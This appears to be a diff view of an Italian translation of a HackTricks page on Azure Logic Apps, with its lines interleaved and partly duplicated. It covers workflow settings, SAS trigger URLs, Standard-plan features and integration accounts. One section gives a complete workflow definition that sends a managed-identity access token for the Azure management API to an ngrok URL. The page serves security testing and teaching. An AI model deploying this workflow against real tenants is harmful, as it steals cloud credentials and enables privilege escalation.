- Indirizzi IP in entrata consentiti: Questa impostazione consente di limitare chi può attivare o avviare la tua Logic App. Le opzioni sono Qualsiasi IP, Solo altre Logic Apps e Intervalli IP specifici.
|
||||
- Account di integrazione: Qui puoi collegare la tua Logic App a un Account di Integrazione.
|
||||
- Alta capacità: Questa impostazione consente alla tua Logic App di gestire più richieste rapidamente.
|
||||
- Conservazione della cronologia delle esecuzioni: per quanto tempo viene mantenuta la cronologia delle esecuzioni della tua Logic App.
|
||||
Le azioni hanno anche varie **impostazioni**, che dipendono dall'azione stessa. Alcune delle impostazioni più comuni sono:
|
||||
|
||||
Puoi vedere le diverse connessioni API che il workflow ha. All'interno di ciascuna di queste connessioni hanno diverse proprietà e la possibilità di modificare la connessione API dove il tipo di autenticazione può essere cambiato.
|
||||
- **Politica di ripetizione**: Configura il numero di ripetizioni e l'intervallo tra di esse.
|
||||
- **Timeout**: Imposta il tempo massimo in cui l'azione può essere eseguita prima di scadere.
|
||||
- **Esegui dopo**: Specifica le condizioni che devono essere soddisfatte prima che l'azione venga eseguita.
|
||||
- **Validazione dello schema**: Garantisce che i dati in arrivo seguano una struttura predefinita.
|
||||
- **Networking**: Configura come gestire diverse intestazioni.
|
||||
- **Input/Output sicuri**: Questo nasconderà i dati di input/output dalla cronologia delle esecuzioni.
|
||||
- ...
|
||||
|
||||
**Cronologia & Versioni:**
|
||||
Ha l'opzione di accedere alla **cronologia** delle diverse esecuzioni, mostra Impostazioni, Output, Parametri e il Codice.
|
||||
### Politiche di autorizzazione
|
||||
|
||||
Ha anche l'opzione di accedere a diverse **versioni** del workflow, dove puoi controllare il codice e cambiare il workflow attuale con una versione precedente di esso.
|
||||
|
||||
**Autorizzazione:**
|
||||
Le Azure Logic Apps supportano **politiche di autorizzazione** con Entra ID per proteggere i trigger basati su richieste richiedendo un token di accesso valido. Questo token deve includere specifiche dichiarazioni:
|
||||
Questi flussi di lavoro supportano **politiche di autorizzazione** con Entra ID per proteggere gli attivatori basati su richiesta richiedendo un token di accesso valido. Questo token deve includere specifiche dichiarazioni:
|
||||
- Emittente (iss) per verificare il fornitore di identità
|
||||
- Destinatario (aud) per garantire che il token sia destinato alla Logic App
|
||||
- Soggetto (sub) per identificare il chiamante
|
||||
- ID JWT (identificatore del token Web JSON)
|
||||
- Dichiarazione personalizzata
|
||||
|
||||
Quando viene ricevuta una richiesta, le Logic Apps convalidano il token rispetto a queste dichiarazioni e consentono l'esecuzione solo se corrispondono alla politica configurata. Questo può essere utilizzato per consentire a un altro tenant di attivare il workflow o negare l'attivazione da altre fonti, ad esempio consentendo l'attivazione solo se proviene da https://login.microsoftonline.com/.
|
||||
Quando viene ricevuta una richiesta, Logic Apps convalida il token rispetto a queste dichiarazioni e consente l'esecuzione solo se corrispondono alla politica configurata. Questo può essere utilizzato per consentire a un altro tenant di attivare il flusso di lavoro o negare l'attivazione da altre fonti, ad esempio consentendo l'attivazione solo se proviene da https://login.microsoftonline.com/.
|
||||
|
||||
**Chiavi di accesso:**
|
||||
Quando salvi un trigger basato su richiesta per la prima volta, le Logic Apps creano automaticamente un endpoint unico con una firma SAS (creata dall'Access Key) che concede il permesso di chiamare il workflow. Questa firma SAS è incorporata nell'URL del trigger. Questa chiave può essere rigenerata e fornirà una nuova firma SAS, ma le chiavi non possono essere elencate.
|
||||
### Chiavi di accesso
|
||||
|
||||
L'URL per invocarlo con l'Access Key:
|
||||
I flussi di lavoro **generano 2 chiavi di accesso** quando vengono creati. Queste chiavi vengono utilizzate per autenticare e autorizzare le richieste al flusso di lavoro. Le chiavi vengono utilizzate per generare un token di firma di accesso condiviso (SAS), che è incluso nell'URL della richiesta.
|
||||
|
||||
Quindi, quando viene creato un attivatore di endpoint HTTP, viene generato un **endpoint HTTP unico con una firma SAS** che concede il permesso di chiamare il flusso di lavoro.
|
||||
|
||||
Queste **chiavi possono essere rigenerate** e verrà creato un nuovo URL SAS per questi attivatori, ma i **valori delle chiavi non possono essere accessibili**.
|
||||
|
||||
Esempio di un URL SAS per invocare un attivatore:
|
||||
```
|
||||
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
|
||||
```
|
||||
### Impostazioni e Componenti del Workflow
|
||||
|
||||
- **Opzione di accesso al trigger**: Questa impostazione consente di limitare chi può attivare o avviare il tuo workflow. Le opzioni sono Qualsiasi IP, Solo altri workflow e Intervalli IP specifici.
|
||||
- **Account di integrazione**: Collega il tuo workflow a un Account di Integrazione.
|
||||
- **Alto throughput**: Se attivato, consente di gestire più richieste in parallelo rapidamente.
|
||||
- **Conservazione della cronologia delle esecuzioni**: Questo indica il numero di giorni per mantenere la cronologia delle esecuzioni.
|
||||
- **Connessioni API**: Questo mostra le diverse connessioni API che il workflow ha. All'interno di ciascuna di queste connessioni hanno diverse proprietà e la possibilità di modificare la connessione API dove il tipo di autenticazione può essere cambiato.
|
||||
- **Cronologia**: Ha l'opzione di accedere alla **cronologia** delle vecchie esecuzioni e ottenere dati: Impostazioni, Output, Parametri e il Codice.
|
||||
- **Versioni**: Ha l'opzione di accedere a diverse **versioni** del workflow, dove puoi controllare il codice e cambiare il workflow attuale con una versione precedente di esso.
|
||||
- **Identità Gestite**: È possibile assegnare 1 identità gestita di sistema e un'identità gestita dall'utente al workflow.
|
||||
|
||||
### Token di accesso MI in fuga
|
||||
|
||||
L'azione HTTP in un workflow può essere utilizzata per inviare dati a un web esterno. Nei **Parametri avanzati** dell'azione HTTP, è possibile configurare il **Tipo di autenticazione** come **`Managed identity`** e poi selezionare l'**Identità Gestita assegnata** da utilizzare (sistema o utente).
|
||||
|
||||
Inoltre, è possibile indicare nell'**`Audience`** il pubblico del JWT generato, che potrebbe essere ad esempio **`https://management.azure.com/`** per poter utilizzare il token generato per accedere all'API di gestione di Azure.
|
||||
|
||||
> [!WARNING]
|
||||
> Facendo in modo che l'azione invii la richiesta HTTP a un server controllato da un attaccante, è possibile **far trapelare il token di accesso dell'identità gestita** assegnata al workflow.
|
||||
|
||||
> [!TIP]
|
||||
> Un attaccante potrebbe anche utilizzare altri tipi di azioni per **accedere direttamente ad altri servizi Azure** e compiere azioni con i permessi dell'identità gestita.
|
||||
|
||||
Questo è il codice di un workflow che espone un endpoint HTTP e poi utilizza un'azione HTTP per far trapelare il token di accesso all'URL configurato (ngrok in questo caso):
|
||||
|
||||
<details>
|
||||
<summary>Codice del Workflow</summary>
|
||||
```json
|
||||
{
|
||||
"definition": {
|
||||
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
|
||||
"contentVersion": "1.0.0.0",
|
||||
"triggers": {
|
||||
"When_a_HTTP_request_is_received": {
|
||||
"type": "Request",
|
||||
"kind": "Http"
|
||||
}
|
||||
},
|
||||
"actions": {
|
||||
"HTTP": {
|
||||
"runAfter": {},
|
||||
"type": "Http",
|
||||
"inputs": {
|
||||
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
|
||||
"method": "GET",
|
||||
"authentication": {
|
||||
"type": "ManagedServiceIdentity",
|
||||
"audience": "https://management.azure.com/"
|
||||
}
|
||||
},
|
||||
"runtimeConfiguration": {
|
||||
"contentTransfer": {
|
||||
"transferMode": "Chunked"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"outputs": {},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"defaultValue": {}
|
||||
}
|
||||
}
|
||||
},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"value": {}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
## Logic Apps / Piano Standard
|
||||
|
||||
### Differenze con i "Workflow" Singoli
|
||||
|
||||
Le logic app utilizzano fondamentalmente un App Service in background per **ospitare la logic app che può ospitare diversi workflow**. Questo significa che la logic app avrà tutte le funzionalità di un App Service e dei "Workflow" Singoli.
|
||||
|
||||
Al alcune caratteristiche chiave sarebbero:
|
||||
|
||||
- **Piano App Service**: Le Logic Apps nel piano Standard sono ospitate su un Piano App Service, quindi è possibile utilizzare tutte le funzionalità dell'App Service come:
|
||||
- **Restrizioni di Rete**: Indica da dove è accessibile.
|
||||
- **Centro di Distribuzione**: Distribuisci da piattaforme esterne come Github, Bitbucket, Azure Repos, Git Esterno e Git Locale.
|
||||
- **Accesso FTP**: È possibile accedere ai file della Logic App tramite FTP.
|
||||
- **Account di Archiviazione**: L'app di servizio utilizza un account di archiviazione per memorizzare informazioni.
|
||||
- **Variabili Env & Impostazioni App**: È possibile configurare variabili di ambiente e impostazioni dell'app (e trovare informazioni sensibili come le chiavi di accesso all'account di archiviazione).
|
||||
- ...
|
||||
- **Parametri**: I parametri ti consentono di gestire valori che variano tra sviluppo, test e produzione. Questo ti consente di progettare prima i workflow, quindi regolare facilmente le impostazioni specifiche per l'ambiente in seguito.
|
||||
- **Risorse Dedicati**: Le Logic Apps nel piano Standard hanno risorse dedicate.
|
||||
- **Workflow Multipli**: Consente di creare più workflow.
|
||||
|
||||
Per ulteriori informazioni sui Servizi App controlla:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-services.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### Enumerazione
|
||||
|
||||
@@ -203,17 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Account di Integrazione
|
||||
## Account di Integrazione
|
||||
**Account di Integrazione**, sono una funzionalità di Azure Logic Apps. Gli Account di Integrazione vengono utilizzati per facilitare integrazioni a livello aziendale abilitando capacità B2B avanzate, come EDI, AS2 e gestione degli schemi XML. Gli Account di Integrazione sono un contenitore in Azure che memorizza i seguenti artefatti utilizzati per le Logic Apps:
|
||||
|
||||
* Schemi: Gestisci schemi XML per convalidare e elaborare messaggi nel tuo account di integrazione.
|
||||
* Mappe: Configura trasformazioni basate su XSLT per convertire formati di dati all'interno dei tuoi flussi di lavoro di integrazione.
|
||||
* Assemblaggi: Gestisci gli assemblaggi dell'account di integrazione per semplificare la logica e l'elaborazione dei dati.
|
||||
* Certificati: Gestisci certificati per crittografare e firmare messaggi, garantendo comunicazioni sicure.
|
||||
* Partner: Gestisci le informazioni sui partner commerciali per transazioni B2B, abilitando integrazioni senza soluzione di continuità.
|
||||
* Accordi: Configura regole e impostazioni per lo scambio di dati con partner commerciali (ad es., EDI, AS2).
|
||||
* Configurazioni Batch: Gestisci configurazioni di elaborazione batch per raggruppare ed elaborare messaggi in modo efficiente.
|
||||
* RosettaNet PIP: Configura i Processi di Interfaccia Partner RosettaNet (PIP) per standardizzare la comunicazione B2B.
|
||||
* **Schemi**: Gestisci schemi XML per convalidare e elaborare messaggi nel tuo account di integrazione.
|
||||
* **Mappe**: Configura trasformazioni basate su XSLT per convertire formati di dati all'interno dei tuoi flussi di lavoro di integrazione.
|
||||
* **Assembly**: Gestisci le assembly dell'account di integrazione per semplificare la logica e l'elaborazione dei dati.
|
||||
* **Certificati**: Gestisci certificati per crittografare e firmare messaggi, garantendo comunicazioni sicure.
|
||||
* **Partner**: Gestisci le informazioni sui partner commerciali per transazioni B2B, abilitando integrazioni senza soluzione di continuità.
|
||||
* **Accordi**: Configura regole e impostazioni per lo scambio di dati con i partner commerciali (ad es., EDI, AS2).
|
||||
* **Configurazioni Batch**: Gestisci configurazioni di elaborazione batch per raggruppare ed elaborare messaggi in modo efficiente.
|
||||
* **RosettaNet PIP**: Configura i Processi di Interfaccia Partner RosettaNet (PIP) per standardizzare la comunicazione B2B.
|
||||
|
||||
#### Enumerazione
|
||||
|
||||
@@ -315,7 +391,7 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
|
||||
{{#endtabs }}
|
||||
|
||||
|
||||
## Escalation dei privilegi
|
||||
## Escalatione dei privilegi
|
||||
|
||||
Stesso metodo di privesc delle logic apps:
|
||||
|
||||
@@ -329,4 +405,10 @@ Stesso metodo di privesc delle logic apps:
|
||||
../az-post-exploitation/az-logic-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistenza
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-logic-apps-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user